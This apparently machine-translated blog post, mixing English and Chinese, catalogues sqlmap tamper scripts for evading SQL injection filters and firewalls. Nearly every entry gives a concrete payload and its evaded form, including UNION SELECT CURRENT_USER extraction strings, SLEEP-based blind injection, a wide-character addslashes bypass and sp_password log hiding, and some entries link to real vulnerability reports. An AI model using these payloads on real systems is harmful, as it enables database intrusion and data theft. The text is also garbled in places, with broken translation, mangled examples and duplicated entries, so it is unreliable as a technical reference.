0x00 background
sqlmap in tamper script to target more efficient attack.
As the dark clouds Knowledge fewer sqlmap-tamper collect it, to facilitate learning. According to sqlmap the tamper scripts can bypass learned a few tricks. I gather looking for relevant case what circumstances can be analyzed as what tamper script. I graduated from primary school, secretly forward to say something a bit more quickly gather knowledge absorption.
0x01 start
Scripting name: apostrophemask.py
Purpose: utf8 place quotes
|
1
|
Example: (
"1 AND '1'='1"
) '1
AND
%EF%BC%871%EF%BC%87=%EF%BC%871'
|
Tested against: all
Scripting name: equaltolike.py
Role: like instead of the equal sign
|
1
2
3
4
5
|
Example:
* Input:
SELECT
*
FROM
users
WHERE
id=1
*
Output
:
SELECT
*
FROM
users
WHERE
id
LIKE
1
|
Case I: http://wooyun.org/bugs/wooyun-2010-087296
Case II: http://wooyun.org/bugs/wooyun-2010-074790
Case III: http: //wooyun.org/bugs/wooyun-2010-072489
Scripting name: space2dash.py
Action: to bypass the filter '=' replacement space character ( "), ( '-') followed by a dash comments, a row and a new random string ( 'n-')
|
1
|
Example: (
'1 AND 9227=9227'
)
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
|
Tested against: * MSSQL * SQLite
Case I: http: //wooyun.org/bugs/wooyun-2010-062878
Scripting name: greatest.py
Action: to bypass the filter '>', with numbers greater than GREATEST replaced.
|
1
|
Example: (
'1 AND A > B'
)
'1 AND GREATEST(A,B+1)=A'
Tested against: * MySQL 4, 5.0
and
5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
|
Scripting name: space2hash.py
Role: replace spaces and line breaks string of random numbers #
|
1
2
3
4
|
Example:
* Input: 1
AND
9227=9227
*
Output
: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement:
-
MySQL Tested against:
-
MySQL 4.0, 5.0
Reference: Fack article
Scripting name: apostrophenullencode.py
Action: double quote bypassing the filter, replace characters and double quotes.
|
1
|
Example: tamper(
"1 AND '1'='1"
) '1
AND
%00%271%00%27=%00%271'
|
Tested against:
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
Scripting name: halfversionedmorekeywords.py
Role: to bypass the firewall when the database is mysql, mysql version to add a comment before each keyword
|
1
2
3
|
Example:
(
"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
)
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
|
Requirement:
- MySQL < 5.1
Tested against:
- MySQL 4.0.18, 5.0.22
Scripting name: space2morehash.py
Role: the # replace spaces and more random string line breaks
|
1
2
3
4
5
|
Example:
* Input: 1
AND
9227=9227
*
Output
: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
Requirement: * MySQL >= 5.1.13 Tested
against: * MySQL 5.1.41
Case I: 91ri article
Scripting name: appendnullbyte.py
Action: to load a zero byte character code in the payload of the end
|
1
|
Example: (
'1 AND 1=1'
)
'1 AND 1=1%00'
|
Requirement:
- Microsoft Access
Scripting name: ifnull2ifisnull.py
Role: to bypass the filter of IFNULL. Alternatively similar 'IFNULL (A, B)' of 'IF (ISNULL (A), B, A)'
|
1
2
3
|
Example:
(
'IFNULL(1, 2)'
)
'IF(ISNULL(1),2,1)'
|
Requirement:
-
MySQL
-
SQLite (possibly)
-
SAP MaxDB (possibly)
Tested against:
- MySQL 5.0 and 5.5
Scripting name: space2mssqlblank.py (mssql)
Action: null symbol spaces replaced with other
Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers
Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005
ASCII table:
Case I: wooyun.org/bugs/wooyun-2010-062878
Scripting name: base64encode.py
Action: Example replaced with base64 encoding: ( "1 'AND SLEEP (5) #")' MScgQU5EIFNMRUVQKDUpIw == 'Requirement: all
Case I: http://wooyun.org/bugs/wooyun-2010-060071
Case II: http://wooyun.org/bugs/wooyun-2010-021062
Case III: http://wooyun.org/bugs/wooyun-2010-043229
Scripting name: space2mssqlhash.py
Role: replace spaces
|
1
|
Example: (
'1 AND 9227=9227'
)
'1%23%0AAND%23%0A9227=9227'
Requirement: * MSSQL * MySQL
|
Scripting name: modsecurityversioned.py
Role: filtering space, contains a complete version of the query Notes
|
1
|
Example: (
'1 AND 2>1--'
)
'1 /*!30874AND 2>1*/--'
|
Requirement: * MySQL
Tested against:
- MySQL 5.0
Scripting name: space2mysqlblank.py
Action: Blank spaces replaced by another symbol (MySQL)
|
1
2
3
4
5
|
Example:
* Input:
SELECT
id
FROM
users
*
Output
:
SELECT
%0Bid%0BFROM%A0users
|
Requirement:
- MySQL
Tested against:
- MySQL 5.1
Case I: wooyun.org/bugs/wooyun-2010-076735
Scripting name: between.py
Action: Replace with between greater than (>)
|
1
|
Example: (
'1 AND A > B--'
)
'1 AND A NOT BETWEEN 0 AND B--'
|
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-068815
脚本名：space2mysqldash.py
作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
注：之前有个mssql的 这个是mysql的
|
1
|
Example: (
'1 AND 9227=9227'
)
'1--%0AAND--%0A9227=9227'
|
Requirement:
-
MySQL
-
MSSQL
脚本名：multiplespaces.py
作用：围绕SQL关键字添加多个空格
|
1
|
Example: (
'1 UNION SELECT foobar'
)
'1 UNION SELECT foobar'
|
Tested against: all
案例一: wooyun.org/bugs/wooyun-2010-072489
脚本名：space2plus.py
作用：用+替换空格
|
1
|
Example: (
'SELECT id FROM users'
)
'SELECT+id+FROM+users'
Tested against:
all
|
脚本名：bluecoat.py
作用：代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
|
1
|
Example: (
'SELECT id FROM users where id = 1'
)
'SELECT%09id FROM users where id LIKE 1'
|
Tested against:
- MySQL 5.1, SGOS
脚本名：nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters
|
1
|
Example: (
'1 UNION SELECT 2--'
)
'1 UNIOUNIONN SELESELECTCT 2--'
Tested against:
all
|
脚本名：space2randomblank.py
作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集
|
1
|
Example: (
'SELECT id FROM users'
)
'SELECT%0Did%0DFROM%0Ausers'
|
Tested against: all
脚本名：sp_password.py
作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
|
1
|
Example: (
'1 AND 9227=9227-- '
)
'1 AND 9227=9227-- sp\_password'
Requirement: * MSSQL
|
脚本名：chardoubleencode.py
作用: 双url编码(不处理以编码的)
|
1
2
3
4
5
|
Example:
* Input:
SELECT
FIELD
FROM
%20TABLE
*
Output
: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
|
脚本名：unionalltounion.py
作用：替换UNION ALL SELECT UNION SELECT
Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'
Requirement: all
脚本名：charencode.py
作用：url编码
|
1
2
3
4
5
|
Example:
* Input:
SELECT
FIELD
FROM
%20TABLE
*
Output
: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
|
tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
脚本名：randomcase.py
作用：随机大小写 Example:
- Input: INSERT
- Output: InsERt
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
脚本名：unmagicquotes.py
作用：宽字符绕过 GPC addslashes
|
1
2
3
4
5
|
Example:
* Input: 1′
AND
1=1
*
Output
: 1%bf%27
AND
1=1–%20
|
脚本名：randomcomments.py
作用：用/**/分割sql关键字
|
1
2
3
|
Example:
‘
INSERT
’ becomes ‘
IN
//S//ERT’
|
脚本名：charunicodeencode.py
作用：字符串 unicode 编码
|
1
2
3
4
5
|
Example:
* Input:
SELECT
FIELD%20FROM
TABLE
*
Output
: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
|
Requirement:
-
ASP
-
ASP.NET
Tested against:
-
Microsoft SQL Server 2000
-
Microsoft SQL Server 2005
-
MySQL 5.1.56
-
PostgreSQL 9.0.3
案例一: wooyun.org/bugs/wooyun-2010-074261
脚本名：securesphere.py
作用：追加特制的字符串
|
1
|
Example: (
'1 AND 1=1'
)
"1 AND 1=1 and '0having'='0having'"
|
Tested against: all
脚本名：versionedmorekeywords.py
作用：注释绕过
|
1
2
3
4
5
|
Example:
* Input: 1
UNION
ALL
SELECT
NULL
,
NULL
, CONCAT(
CHAR
(58,122,114,115,58),IFNULL(
CAST
(
CURRENT_USER
()
AS
CHAR
),
CHAR
(32)),
CHAR
(58,115,114,121,58))#
*
Output
: 1/*!
UNION
**!
ALL
**!
SELECT
**!
NULL
*/,/*!
NULL
*/,/*!CONCAT*/(/*!
CHAR
*/(58,122,114,115,58),/*!IFNULL*/(
CAST
(/*!
CURRENT_USER
*/()/*!
AS
**!
CHAR
*/),/*!
CHAR
*/(32)),/*!
CHAR
*/(58,115,114,121,58))#
|
Requirement:
- MySQL >= 5.1.13
脚本名：space2comment.py
作用：Replaces space character (‘ ‘) with comments ‘/**/’
|
1
2
3
4
5
|
Example:
* Input:
SELECT
id
FROM
users
*
Output
:
SELECT
//id//
FROM
/**/users
|
Tested against:
-
Microsoft SQL Server 2005
-
MySQL 4, 5.0 and 5.5
-
Oracle 10g
-
PostgreSQL 8.3, 8.4, 9.0
案例一:wooyun.org/bugs/wooyun-2010-046496
脚本名：halfversionedmorekeywords.py
作用：关键字前加注释
|
1
2
3
4
5
|
Example:
* Input: value’
UNION
ALL
SELECT
CONCAT(
CHAR
(58,107,112,113,58),IFNULL(
CAST
(
CURRENT_USER
()
AS
CHAR
),
CHAR
(32)),
CHAR
(58,97,110,121,58)),
NULL
,
NULL
#
AND
‘QDWa’=
'QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='
QDWa
|
转载于:https://www.cnblogs.com/blck/p/4976870.html